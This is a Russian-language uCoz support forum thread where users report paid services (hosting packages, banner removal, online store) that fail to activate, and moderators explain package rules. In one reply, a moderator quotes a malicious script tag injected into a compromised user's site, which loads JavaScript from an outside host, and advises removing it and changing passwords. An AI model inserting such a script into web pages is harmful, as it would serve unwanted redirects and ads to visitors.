Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz Основное Платные услуги Оплатили, а услуга не появилась (При этом оплата прошла и деньги были зачислены) |
| Оплатили, а услуга не появилась |
|
Типичная ситуация. Вы оплатили ту или иную услугу, в «оплаченные заказы» она значится, но сама услуга так и не подключена. Например места как было 400 Мб, так и остается 400, хотя вы оплатили +800, и оплата явно поступила. Скорее всего проблема в следующем: у вас действует оплаченная на меньше число услуга или премиум-пакет, включающий в себя эту услугу. Пока он не будет исчерпан, новая оплаченная услуга не вступит в силу. Если вы хотите что бы новый оплаченный заказ начал действовать немедленно, надо отменить старый заказа (в «Оплаченные заказы» кликнуть по номеру заказа) и отменить. В случае отмены, остаток неиспользованных за услугу средств поступят на лицевой счет, и вы сможете в дальнейшем их использовать. То есть деньги не пропадут.  Если вы собрались писать в эту тему о своих проблемах с оплатой, то обязательно указывайте ссылку на сайт, где произошли проблемы с оплатой! Так же подробно описывайте какую услугу пытались оплатить, каким способом. По возможности указывайте реквизиты платежей |
|
Здравствуйте. Хотела продлить домен. Пополняла баланс (лицевой счет 146930) через платежную систему 'QIWI Кошелек'. На кошелек пришел счет, оплатила его, но на балансе денег до сих пор нет. Что я не правильно сделала?
Visa QIWI WalletИНН 3123011520Квитанция:4436705583Дата:2014-03-08 17:33:16.0Оператор:uCoz доменыНомер телефона/счета:5888Перечислено:415.0 RUBКод операции:4436705584 |
|
Здравствуйте! Оплатил пакет Базовый, сайт http://trophy75.ucoz.ru/ В истории оплаты пакетов услуг показывает статут Активен, а интернет магазин не открывает. № заказа 5008529
|
|
nikolay-ship, услуга Интернет магазина в Базовый пакет не входит. Вам следует оплатить её отдельно или отказаться от Базового и оплатить следующий, Бизнес-пакет.
Отправляя сообщение о помощи, приводите ссылку на свой сайт. Это не считается рекламой, зато снимает массу вопросов.
|
|
Selena, Здравствуйте! По поводу оплаты в сапорте так никто и не ответил мне, если не трудно посомтрите пожалуйста тикет id=6617 . Хотел написать в ЛС но сообщения блокируются.
Заранее спасибо! |
|
Gennik9355, Ваша заявка обрабатывается, просьба не дублировать обращения.
|
|
Здравствуйте! Оплатила базовый пакет услуг, изчез баннер с моего сайта http://novosibfialka.narod.ru/index , но реклама на сайте осталась, появляется в разных местах, не дает открыть страницу, перебрасывает на другие сайты, что мне надо оплатить, чтобы избавиться от этого. Помогите, пожалуйста
|
|
марина0533, данные баннера не имеют к uCoz отношение, последствия внедрения сторонних скриптов. Судя по всему, ваш профиль скомпрометирован.
Если на вашем сайте появились порнобаннеры ознакомьтесь с темой //forum.ucoz.ru/forum/45-57475-1093991-16-1380628628 Удалите вредоносный код с Код <script language='javascript' charset='UTF-8' type='text/javascript' src='[url=http://bobrilla.com/761lmgogz6n6xodyta5bmc16is9yp6j9]http://bobrilla.com/761lmgogz6n6xodyta5bmc16is9yp6j9'></script> Пожалуйста, смените пароль в панели управления сайтом, пароль uID профиля, а также пароли в ftp-клиенте. Пароли к административной панели — должны быть сложнее. Никогда не храните пароли в текстовом файле или в письмах на своем почтовом ящике. Не сохраняйте пароли в браузере или ftp-клиенте. Пароли должны быть длинными и сложными. |
|
$Vladimir$ Оргомнейшее спасибо за быстрый ответ! Пошла все исправлять! Вашу рекомендацию "Не сохраняйте пароли в браузере!" буду выполнять. Если бы вы знали, как я вам благодарна, у меня со вчерашнего дня была полная паника.
Добавлено (29 Мар 2014, 08:21:59) Добавлено (29 Мар 2014, 10:14:26) |
|
Здравствуйте, 01,04,2014г оплатил через вэбмани кипер услугу убрать рекламный банер на 1 месяц.Убрать рекламный баннерДа1 мес.$2.99Оплата прошла, однако зависла в неоплаченных заказах. № заказа 31011810
2.99 WMZ 01.04.14 12:30 uCoz order U31031237-31011810: BANNER_OFF 1m Заранее спасибо. |
|
riman, рекламный баннер для вашего сайта не отображается. Услуга активирована и предоставляется в полном объеме.
|
|
Добрый день.Оплатил пакет базовый 5010272 сайт kofemolotoff.ru Но решил убрать и копирайт оплатил пакет премиум 5011544 не забыв отменить предыдущий базовый. Но премиум не активируется и красные воскл.знаки около номера сообщают что действуют какие то не отмененные услуги( в списке их нет а предыдущий я отменил)
|
|
Позавчера была оплачена услуга базового пакета для модуля интернет-магазина. Деньги на счет поступили. Сумма со счета списана как оплата. Магазин до сих пор не подключен. При обращении в поддержку ответа не получено. Какие вообще сроки реагирования?
Спасибо. |
|
Светлана0102, в пакет базовый не входит оплата за использование интернет-магазина. Куда именно вы обращались?
|
| |||
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!